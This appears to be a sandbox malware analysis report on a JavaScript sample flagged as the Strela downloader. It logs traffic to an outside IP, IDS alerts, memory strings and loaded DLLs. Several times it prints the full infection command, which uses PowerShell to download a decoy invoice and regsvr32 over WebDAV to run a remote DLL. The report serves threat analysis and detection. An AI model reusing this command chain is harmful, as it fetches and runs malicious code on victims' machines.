Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1429784356.0000021285309000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1428115014.0000021286F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1483353804.00000292466F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1480782825.0000029246722000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1483440806.0000029246722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: svchost.exe, 00000009.00000002.2722101826.0000021911C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000009.00000002.2722247140.0000021911C57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1484915557.0000021911AD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7876, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 10323218772870612560.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sncdnrzx.rlr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 10323218772870612560.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,1473464380833965545,3680319473112078666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,1473464380833965545,3680319473112078666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
